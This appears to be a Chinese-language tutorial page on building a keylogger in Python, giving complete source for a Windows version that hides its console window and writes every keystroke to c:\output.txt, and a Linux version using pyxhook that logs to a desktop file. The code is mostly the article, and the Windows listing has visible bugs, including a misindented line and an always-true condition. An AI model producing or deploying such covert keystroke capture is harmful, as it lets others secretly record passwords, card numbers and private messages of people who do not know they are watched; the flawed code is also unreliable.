📜  用Python设计键盘记录器

📅  最后修改于: 2020-05-19 10:59:58             🧑  作者: Mango

键盘记录(通常称为击键记录或键盘捕获)是一种记录通常敲打在键盘上的键的动作,因此使用键盘的人不知道自己的行为受到监视。
这些是旨在在目标计算机的软件上工作的计算机程序。键盘记录程序在IT组织中用于对计算机和业务网络的技术问题进行故障排除。家庭和商人合法使用键盘记录程序来监视网络使用情况,而无需用户直接了解。但是,恶意人员可以使用公用计算机上的键盘记录程序来窃取密码或信用卡信息。
本文说明了为Windows和Linux设计键盘记录程序。

Windows键盘记录器

下载一些Python库
1)pywin32
2)pyhook 
以下是在Python中创建键盘记录程序的代码

# Windows中使用键盘记录程序的Python代码
import win32api
import win32console
import win32gui
import Pythoncom, pyHook
win = win32console.GetConsoleWindow()
win32gui.ShowWindow(win, 0)
def OnKeyboardEvent(event):
    if event.Ascii==5:
        _exit(1)
    if event.Ascii !=0 or 8:
    # 打开output.txt以读取当前的键盘记录
        f = open('c:\output.txt', 'r+')
        buffer = f.read()
        f.close()
    # 打开output.txt以写入当前+新的击键
        f = open('c:\output.txt', 'w')
        keylogs = chr(event.Ascii)
        if event.Ascii == 13:
        keylogs = '/n'
        buffer += keylogs
        f.write(buffer)
        f.close()
# 创建一个挂钩管理器对象
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
# 设置挂钩
hm.HookKeyboard()
# 永远等待
Pythoncom.PumpMessages()

将文件保存为C:\作为Keylogger.py并运行Python文件
输出:
键盘记录器将在后台启动,并将所有数据保存在日志文件“ c:\ output.txt”中。

Linux中的键盘记录器

pyxhook需要Python-xlib。如果还没有安装,请安装它。

sudo apt-get install Python-xlib

下载pyxhook

# 用于Linux的键盘记录程序的Python代码
import os
import pyxhook
# 这告诉键盘记录器日志文件将移至何处.
# 您可以将文件路径设置为环境变量(“ pylogger_file"),或使用默认的〜/ Desktop / file.log
log_file = os.environ.get(
    'pylogger_file',
    os.path.expanduser('~/Desktop/file.log')
)
# 允许从环境参数设置取消键,默认: `
cancel_key = ord(
    os.environ.get(
        'pylogger_cancel',
        '`'
    )[0]
)
# 如果定义了pylogger_clean,则允许在启动时清除日志文件.
if os.environ.get('pylogger_clean', None) is not None:
    try:
        os.remove(log_file)
    except EnvironmentError:
       # File does not exist, or no permissions.
        pass
# 创建按键事件并将其保存到日志文件中
def OnKeyPress(event):
    with open(log_file, 'a') as f:
        f.write('{}\n'.format(event.Key))
# 创建一个挂钩管理器对象
new_hook = pyxhook.HookManager()
new_hook.KeyDown = OnKeyPress
# 设置挂钩
new_hook.HookKeyboard()
try:
    new_hook.start()         # start the hook
except KeyboardInterrupt:
    # 用户从命令行取消.
    pass
except Exception as ex:
    # 将异常写入日志文件,以供以后分析.
    msg = 'Error while catching events:\n  {}'.format(ex)
    pyxhook.print_err(msg)
    with open(log_file, 'a') as f:
        f.write('\n{}'.format(msg))

输出:
键盘记录器将在后台启动,并将所有数据保存在file.log文件“ / home / akash / Desktop”中。